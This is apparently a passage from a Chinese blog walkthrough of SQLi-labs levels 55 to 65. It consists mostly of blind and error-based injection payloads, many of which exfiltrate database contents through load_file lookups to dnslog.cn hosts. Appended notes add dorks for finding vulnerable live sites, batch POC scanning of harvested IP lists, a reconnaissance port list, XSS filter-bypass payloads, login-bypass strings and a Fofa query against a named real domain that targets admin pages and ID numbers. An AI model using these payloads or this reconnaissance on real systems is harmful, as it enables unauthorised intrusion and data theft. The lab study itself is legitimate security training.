SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

下面的輸入框輸入Sn04znQcZJNl6L0tADgOhcRS提示正確
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

英文表示:祝賀你成功了

16.Less-55

a.注入點判斷

SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

這次可以試錯14次,是難度減低了還是提高了
不管他,先看下怎么注入,發(fā)現(xiàn)除了數(shù)字其他都不顯示,看來要盲注了

b.輪子測試

4 and if(1=1,sleep(1),0) and (1)#
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

出現(xiàn)延時,那輪子應(yīng)該就是它了

c.獲取數(shù)據(jù)庫名稱

4 and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select database()),‘.leccsl.dnslog.cn\abc’)))#
單獨運行select有數(shù)據(jù),但是為啥界面沒結(jié)果呢
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

大概是語句哪里還是不對吧,重新構(gòu)造輪子

  1. and if(1=1,1,0) and (1)–+
    SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

嗯這里有顯示才能用,之前的輪子沒顯示,難怪怎么都沒反應(yīng),所以記住了,以后構(gòu)造的輪子一定要顯示結(jié)果才行
1)and if(1=1,1,0) and (select load_file(concat(‘\\’,(select database()),‘.f1xl21.dnslog.cn\abc’)))–+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表名

1)and if(1=1,1,0) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.f1xl21.dnslog.cn\abc’)))–+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

uhf25xqo3t

e.獲取列名

1)and if(1=1,1,0) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.f1xl21.dnslog.cn\abc’)))–+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

secret_WUAZ

f.獲取表內(nèi)數(shù)據(jù)

  1. and if(1=1,1,0) and (select load_file(concat(‘\\’,(select secret_WUAZ from uhf25xqo3t where id=1),‘.f1xl21.dnslog.cn\abc’)))–+
    SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

記住,sql語句里不要插入回車符
d7oT09Des0BDFr51bmmpn0Gv
輸入這串?dāng)?shù)字成功過關(guān)
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

17.Less-56

a.注入點判斷

還是這種題,看來后面都是這種類型的,單引號盲注報錯注入

b.輪子測試

4’) and (1) --+
正常輸出,記住了,像這樣才是對的
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

c.獲取數(shù)據(jù)庫名稱

4’) and (select load_file(concat(‘\\’,(select database()),‘.6oq86c.dnslog.cn\abc’))) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表名

4’) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.6oq86c.dnslog.cn\abc’))) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

9q15lsxx4o

e.獲取列名

4’) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.6oq86c.dnslog.cn\abc’))) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

secret_F62S

f.獲取表內(nèi)數(shù)據(jù)

4’) and (select load_file(concat(‘\\’,(select secret_F62S from 9q15lsxx4o where id=1),‘.6oq86c.dnslog.cn\abc’))) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

MRS84WI5bRz1wUEPRjwkOTNN

18.Less-57

a.注入點判斷

雙引號注入,沒什么好說的

b.輪子測試

4" and (1)–+

c.獲取數(shù)據(jù)庫名稱

4" and (select load_file(concat(‘\\’,(select database()),‘.6oq86c.dnslog.cn\abc’))) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表名

4" and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.6oq86c.dnslog.cn\abc’)))–+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

kxkae71r4p

e.獲取列名

4" and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.6oq86c.dnslog.cn\abc’)))–+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

secret_R3DQ

f.獲取表內(nèi)數(shù)據(jù)

4" and (select load_file(concat(‘\\’,(select secret_R3DQ from kxkae71r4p where id=1),‘.6oq86c.dnslog.cn\abc’)))–+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

qCPyRxfEqRmVzBQYyVQ5Y3h9

19.Less-58

a.注入點判斷

SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

終于出現(xiàn)報錯注入了

b.輪子測試

2’ and (1) --+

c.獲取數(shù)據(jù)庫名稱

2’ and (updatexml(1,concat(0x7e,(SELECT+database())),0x7e)) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表名

2’ and (updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e)) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

k9e8a7yl0f

e.獲取列名

2’ and (updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 0,1),0x7e), 0x7e)) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

secret_58RO

f.獲取表內(nèi)數(shù)據(jù)

2’ and (updatexml(1, concat(0x7e,(select secret_58RO from k9e8a7yl0f where id = 1),0x7e), 0x7e)) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

Vd6Sg7IYEnmoKrdsx3u74wAa
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

20.Less-59

a.注入點判斷

報錯注入,不用加引號啥的

b.輪子測試

2 and 1 --+

c.獲取數(shù)據(jù)庫名稱

2 and updatexml(1,concat(0x7e,(SELECT+database())),0x7e)–+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表名

2 and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

qi7pnhikpv

e.獲取列名

2 and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

secret_OLE6

f.獲取表內(nèi)數(shù)據(jù)

2 and updatexml(1, concat(0x7e,(select secret_OLE6 from qi7pnhikpv where id = 1),0x7e), 0x7e) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

2229WftWHjdVjMEaS6yr9O3a

21.Less-60

a.注入點判斷

雙引號報錯注入,但是需要括號閉合

b.輪子測試

3") and 1 --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

c.獲取數(shù)據(jù)庫名稱

3") and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表名

3") and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

hofp86ahow

e.獲取列名

3") and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

secret_NAX1

f.獲取表內(nèi)數(shù)據(jù)

3") and updatexml(1, concat(0x7e,(select secret_NAX1 from hofp86ahow where id = 1),0x7e), 0x7e) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

0CxW5gDfT4RrJWkO371mJwmU

22.Less-61

a.注入點判斷

單引號報錯注入,但是需要雙括號閉合

b.輪子測試

3’)) and 1 --+

c.獲取數(shù)據(jù)庫名稱

3’)) and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表名

3’)) and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

jy0p59437z

e.獲取列名

3’)) and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

secret_AX65

f.獲取表內(nèi)數(shù)據(jù)

3’)) and updatexml(1, concat(0x7e,(select secret_AX65 from jy0p59437z where id = 1),0x7e), 0x7e) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

zJn62X2QZ1xqyyJLUdkCeqEu

23.Less-62

a.注入點判斷

單引號盲注

b.輪子測試

3’) and if(1=1,sleep(1),0) and (1) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

延遲1秒,另外盲注不需要看顯示,報錯和聯(lián)合注入才需要,只看延遲就行

c.獲取數(shù)據(jù)庫名稱

3’) and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select database()),‘.vsc4qg.dnslog.cn\abc’))) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表名

3’) and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.vsc4qg.dnslog.cn\abc’))) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

06pq63s5ri

e.獲取列名

3’) and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.vsc4qg.dnslog.cn\abc’))) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

secret_KXH7

f.獲取表內(nèi)數(shù)據(jù)

3’) and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select secret_KXH7 from 06pq63s5ri where id=1),‘.vsc4qg.dnslog.cn\abc’))) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

eyhWTtqVrtmuDFdoYsQHfs6W

24.Less-63

a.注入點判斷

還是單引號盲注,估計還是需要判斷閉合

b.輪子測試

3’ and if(1=1,sleep(1),0) and (1) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

居然不用考慮閉合

c.獲取數(shù)據(jù)庫名稱

3’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select database()),‘.vsc4qg.dnslog.cn\abc’))) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表名

3’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.vsc4qg.dnslog.cn\abc’))) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

62ru7lcvyu

e.獲取列名

3’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.vsc4qg.dnslog.cn\abc’))) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

secret_VS47

f.獲取表內(nèi)數(shù)據(jù)

3’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select secret_VS47 from 62ru7lcvyu where id=1),‘.vsc4qg.dnslog.cn\abc’))) --+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

TZPD8yDonwQ22CubAiL57IAB

25.Less-64

a.注入點判斷

除了輸入正確的數(shù)字有顯示,如果再輸入其他符號或字母一概不顯示

b.輪子測試

1 and(1)

c.獲取數(shù)據(jù)庫名稱

1 and(select load_file(concat(‘\\’,(select database()),‘.4kmw9o.dnslog.cn\abc’)))
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表名

1 and(select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.4kmw9o.dnslog.cn\abc’)))
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

Uonkinbilw

e.獲取列名

1 and(select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.4kmw9o.dnslog.cn\abc’)))
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

secret_ZGTB

f.獲取表內(nèi)數(shù)據(jù)

1 and(select load_file(concat(‘\\’,(select secret_ZGTB from Uonkinbilw where id=1),‘.4kmw9o.dnslog.cn\abc’)))
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

XYCNXPpkAXJX8UkwpGurdGZL
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

26.Less-65

終于到最后一關(guān)了,大結(jié)局,然后就可以去實戰(zhàn)了

a.注入點判斷

雙引號盲注

b.輪子測試

1" and if(1=1, sleep(1),0) and(1) and "
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

有延遲,if(1=1, sleep(1),0)只是用于判斷閉合,實際使用時去掉就行
1" and (1) and "

c.獲取數(shù)據(jù)庫名稱

1" and (select load_file(concat(‘\\’,(select database()),‘.4kmw9o.dnslog.cn\abc’))) and "
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表名

1" and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.4kmw9o.dnslog.cn\abc’))) and "
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

cbkyy6a08r

e.獲取列名

1" and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.4kmw9o.dnslog.cn\abc’))) and "
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

secret_RHAB

f.獲取表內(nèi)數(shù)據(jù)

1" and (select load_file(concat(‘\\’,(select secret_RHAB from cbkyy6a08r where id=1),‘.4kmw9o.dnslog.cn\abc’))) and "
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

0r0KwIgn3d1KwEGu1FL3N596

SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

三、筆記

挖掘注入點
谷歌語法:inurl:“?id=”
判斷ID是否為數(shù)字,可直接在參數(shù)值后面加/1 /0,若為數(shù)字加/0將報錯
若確認是數(shù)字,可繼續(xù)構(gòu)造poc,如1/if(1,1,0) 1/if(0,1,0)
若使用1/if(1=1,1,0) 或1/if(1 like 1,1,0) 出現(xiàn)永恒之白,可使用1/if(1.=1,1,0) 1/if(1.=2,1,0)等繼續(xù)進行測試
還可使用1/if(1.=ascii(2) ,1,0) 1/if(1.=hex(2) ,1,0) 1/if(1.=hex(schema()) ,1,0)
如果單引號被過濾,可使用 ‘xxx’ like ‘xx%’
如果截取函數(shù)substr及mid被過濾,可考慮left,right 1/if(68.hex(left(schema(),1)),1,0)(68用爆破得出)
獲得第一個字母之后可以繼續(xù)獲取后面的字母1/if(6864.like+hex(left(schema(),2)),1,0)
if若過濾可使用case when替代

sql注入判斷是否有注入的方法
除了使用單引號雙引號之外還可以使用,1/2 1/1 1/0判斷是否有注入
通過1 and 1=1 --+與 1 and 1=2 --+觀察是否有變化后使用盲注

首先選擇要挖什么漏洞
比如用友 U8 OA SQL注入漏洞
至于想找什么漏洞信息可去漏洞庫找找,如
https://wiki.bylibrary.cn/%E6%BC%8F%E6%B4%9E%E5%BA%93/01-CMS%E6%BC%8F%E6%B4%9E/ActiveMQ/ActiveMQ%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/
信息收集階段我們的主要目標是:
1、找到網(wǎng)上公開的漏洞POC
比如POC:
http://IP:PORT/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))
2、使用找出可能存在該漏洞的IP列表
比如可以用Fofa語句:title=“用友U8-OA”,
可以使用Github開源工具Fofa-collect批量導(dǎo)入列表驗證
POC批量驗證的腳本在PeiQi文庫的POC基礎(chǔ)上進一步改寫,支持批量導(dǎo)入IP.txt,并導(dǎo)出存在漏洞的URL,保存為urls.txt。
接著使用批量IP反查域名,這時候我們只需要去訪問域名,就可以知道這個IP對應(yīng)的公司。于是我們就可以拿著這些信息去提交漏洞了!
再次強調(diào)滲透測試點到為止,提交漏洞只需要跑出數(shù)據(jù)庫名證明漏洞存在,信息安全三要素CIA時刻銘記于心
在拿到新的POC時,僅需替換POC_1()函數(shù),代碼稍加改動,就可以實現(xiàn)另一個漏洞的批量挖掘。

四、信息收集常用端口

http://duankou.wlphp.com/
文件共享服務(wù)端口
21,22,69,2049.139.389
遠程連接服務(wù)端口
23,3389.5900,5632
Web應(yīng)用服務(wù)端口
80.443.8080,8089,7001,7002,9090,4848,1352,10000
數(shù)據(jù)庫服務(wù)端口
3306,1433,1521,5432,27017,27018,6379,5000
郵件服務(wù)端口
25,110,143
網(wǎng)絡(luò)常見協(xié)議端口
53,67,68,161
特殊服務(wù)端口
2128,8068,9200,9300,11211,512,513,514,873,3690,50000

21,22,69,2049.139.389,23,3389.5900,5632,80.443.8080,8089,7001,7002,9090,4848,1352,10000,3306,1433,1521,5432,27017,27018,6379,5000,25,110,143,53,67,68,161,2128,8068,9200,9300,11211,512,513,514,873,3690,50000

五、常用測試xss

<script>console%2elog(299792458)%3c<%2fscript>
"><script>console.log(299792458)<%2fscript><"
'><script>console.log(299792458)<%2fscript>
'><script>console.log(299792458)<%2fscript><'
"""><SCRIPT>console.log("xss test")
'''><SCRIPT>console.log("xss test")'
<SCRIPT>console.log(299792458)%3b<%2fSCRIPT>
<<SCRIPT>console.log("xss test")//<</SCRIPT>
<<SCRIPT>console.log(299792458)%2f%2f<<%2fSCRIPT>
<<SCRIPT>console.log(299792458)%2f%2f<<%2fSCRIPT>

<img src%3d"1" onerror%3d"console.log(299792458)">
<img src%3d'1' onerror%3d'console.log(299792458)'
<IMG """><SCRIPT>console.log(299792458)<%2fSCRIPT>">
<IMG '''><SCRIPT>console.log(299792458)<%2fSCRIPT>'>

未成功
<scri<scr<script>ipt>pt>confirm(299792458)%3b<%2fscr<%2fsc<%2fscript>ript>ipt>
<scri<scr<script>ipt>pt>console.log(299792458)%3b<%2fscr<%2fsc<%2fscript>ript>ipt>
<SCRI<script>PT>console.log(299792458)%3b<%2fSCR<%2fscript>IPT>
<scri<script>pt>console.log(299792458)%3b<%2fscr<%2fscript>ipt>
console.log(299792458)%3b
%3bconsole.log(299792458)%3b
'%3bconsole.log(299792458)%3b'
"%3bconsole.log(299792458)%3b"
\"%3bconsole.log(299792458)%3b%2f%2f
<SCR%00IPT>console.log(299792458)<%2fSCR%00IPT>
<SCR%2500IPT>console.log("xss test")</SCR%2500IPT>
<STYLE TYPE%3d"text%2fjavascript">console.log(299792458)%3b<%2fSTYLE>
"onmouseover%3dconsole.log(299792458)%20
"onmouseout%3dconsole.log(299792458)%20
"onmousemove%3dconsole.log(299792458)%20
" οnmοuseοver="console.log(/xss test/)
' οnmοuseοver='console.log(/xss test/)
' οnclick='console.log("xss test")
onload%3d'console.log(299792458)'
onload%3d"console.log(299792458)"
onerror%3d'console.log(299792458)'
onerror%3d"console.log(299792458)"
<IFRAME SRC%3d'f' onerror%3d'console.log(299792458)'><%2fIFRAME>
<IFRAME SRC%3d'f' onerror%3d"console.log(299792458)"><%2fIFRAME>
<IFRAME SRC%3d'f' onerror%3d'console.log("xss test")'></IFRAME>
'''><SCRIPT>console.log(299792458)'
"""><SCRIPT>console.log(299792458)
oonnfocus=javascripscriptt:console.log('xss test')
" oonnfocus=javascriscriptpt:console.log('xss test')>
"><a href=javascript:console.log('xss test')>xss test</a>

六、SQL注入萬能密碼

1‘ or 1=1–+
1‘or’1’=‘1
“or"a”="a
')or(‘a(chǎn)’='a
")or(“a”="a
‘or 1=1–
“or 1=1–
'or”=’
'or 1=1%00
'or 1=1/
admin’ or 1=1/*

七、本次攻防演練中得到的幾點經(jīng)驗

1、首先用wafw00f-master看網(wǎng)站有沒有開WAF,有WAF的情況下就不要去做目錄掃描了,本人試過,百分百會被封IP
2、如果開啟了WAF的情況下可以使用fofa用以下方法掃敏感信息
domain=“yimazhineng.cn” && (host=“.admin.php” || title=“后臺” || body=“管理” || body=“用戶名” || body=“密碼” || body=“身份證號” || body=“手機號” || body=“注冊” || body=“登錄”|| body=“改密碼”)
3、使用https://whatcms.org/檢測網(wǎng)站是不是用了CMS,以及CMS版本號,據(jù)此可以到網(wǎng)上找對應(yīng)版本的歷史漏洞找教程進行滲透文章來源地址http://www.zghlxwxcb.cn/news/detail-638873.html

到了這里,關(guān)于SQL注入實操三(SQLilabs Less41-65)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費用

相關(guān)文章

  • 【網(wǎng)絡(luò)安全---sql注入(2)】如何通過SQL注入getshell?如何通過SQL注入讀取文件或者數(shù)據(jù)庫數(shù)據(jù)?一篇文章告訴你過程和原理。

    【網(wǎng)絡(luò)安全---sql注入(2)】如何通過SQL注入getshell?如何通過SQL注入讀取文件或者數(shù)據(jù)庫數(shù)據(jù)?一篇文章告訴你過程和原理。

    分享一個非常詳細的網(wǎng)絡(luò)安全筆記,是我學(xué)習(xí)網(wǎng)安過程中用心寫的,可以點開以下鏈接獲取: 超詳細的網(wǎng)絡(luò)安全筆記 本篇博客主要是通過piakchu靶場來講解如何通過SQL注入漏洞來寫入文件,讀取文件。通過SQL輸入來注入木馬來getshell等,講解了比較詳細的過程; 如果想要學(xué)習(xí)

    2024年02月07日
    瀏覽(27)
  • MSsql數(shù)據(jù)庫 sql注入

    和mysql不同;每個數(shù)據(jù)庫都有自己的信息總結(jié)表 四個系統(tǒng)數(shù)據(jù)庫 master sysdatabases :所有數(shù)據(jù)庫信息 name :所有數(shù)據(jù)庫名 sysobjects :數(shù)據(jù)庫所有對象的信息 syscolumns :字段信息 固定字段名 name 對象名 id 對象id xtype 對象類型代碼 xtype=\\\'U\\\' 用戶創(chuàng)建的表 xtype=\\\'S\\\' 系統(tǒng)表 model sysobjects sys

    2024年04月10日
    瀏覽(27)
  • 【實訓(xùn)04】數(shù)據(jù)庫SQL注入漏洞

    【實訓(xùn)04】數(shù)據(jù)庫SQL注入漏洞

    ? 下載dvwa的時候其實已經(jīng)通過了,但建議全部做一下,后面的要用 git clone GitHub - digininja/DVWA: Damn Vulnerable Web Application (DVWA) 注入的sql: 使用sql注入查詢數(shù)據(jù)庫用戶名和數(shù)據(jù)庫名,并將用戶名和數(shù)據(jù)庫名寫入/data/workspace/myshixun/result2中: 注入的sql語句: 使用sql注入查詢dvwa數(shù)據(jù)庫

    2024年02月16日
    瀏覽(20)
  • 【數(shù)據(jù)庫】SQL注入從0到1

    【數(shù)據(jù)庫】SQL注入從0到1

    目錄 前言: 1.【入門】普通查詢型注入: 1.0 實驗環(huán)境: 1.1進行一次普通的查詢: 1.2 進行注入得到用戶信息: 1.2.1 執(zhí)行注入: 1.2.2 注入語句分析: 1.3 整型注入與字符型注入?yún)^(qū)別: 2.【進階】從庫到列逐步注入: 2.1 預(yù)備知識: 2.1.1 union函數(shù): 2.1.2 order by函數(shù): 2.1.3 infor

    2024年02月05日
    瀏覽(26)
  • 滲透測試-SQL注入之核心語法獲取數(shù)據(jù)庫信息

    滲透測試-SQL注入之核心語法獲取數(shù)據(jù)庫信息

    SQL實驗室第一關(guān) 下載sqli-labs到phpstudy的www目錄下 打開localhost/sqli-labs運行即可 (1)注入語句 ‘~’ 相當(dāng)于16進制的0x7e 萬能密碼 \\\'or ‘1’ =\\\'1 ’ and ‘1’=‘1 ’ and 1=2 union select 1,user(),3- -+ 前面加’是為了閉合后面的’ (2)group_concat(string) (1)SQL手工注入方法 select schema_name

    2024年02月10日
    瀏覽(19)
  • 確保你的數(shù)據(jù)庫安全:如何防止SQL注入攻擊

    最近,越來越多的組織和公司受到SQL注入攻擊的困擾。這種攻擊可以導(dǎo)致數(shù)據(jù)庫中的敏感信息泄露,破壞數(shù)據(jù)完整性,甚至可能導(dǎo)致整個系統(tǒng)崩潰。如果您是一名數(shù)據(jù)庫管理員或網(wǎng)站管理員,您需要了解如何保護您的數(shù)據(jù)庫免受SQL注入攻擊的威脅。在本文中,小德將介紹什么

    2024年02月02日
    瀏覽(23)
  • 五、C#與數(shù)據(jù)庫交互( SQL注入與安全性)

    在C#與數(shù)據(jù)庫交互時,安全性是非常重要的一部分,特別是要防止SQL注入攻擊。SQL注入是一種常見的網(wǎng)絡(luò)攻擊手段,攻擊者通過在輸入字段中注入惡意SQL代碼來操縱數(shù)據(jù)庫查詢。以下是一些關(guān)于如何防止SQL注入的建議: 使用參數(shù)化查詢 : 這是防止SQL注入的最有效方法。參數(shù)化

    2024年02月02日
    瀏覽(29)
  • Python MySQL 數(shù)據(jù)庫查詢:選擇數(shù)據(jù)、使用篩選條件、防止 SQL 注入

    Python MySQL 數(shù)據(jù)庫查詢:選擇數(shù)據(jù)、使用篩選條件、防止 SQL 注入

    要從MySQL中的表格中選擇數(shù)據(jù),請使用\\\"SELECT\\\"語句: 示例選擇\\\"customers\\\"表格中的所有記錄,并顯示結(jié)果: 注意 :我們使用 fetchall() 方法,該方法從上次執(zhí)行的語句中獲取所有行。 要僅選擇表格中的某些列,請使用\\\"SELECT\\\"語句,后跟列名: 示例僅選擇name和address列: 如果您只對

    2024年02月05日
    瀏覽(116)
  • 記錄惡意SQL注入引發(fā)的RDS只讀數(shù)據(jù)庫CPU飚100%

    記錄惡意SQL注入引發(fā)的RDS只讀數(shù)據(jù)庫CPU飚100%

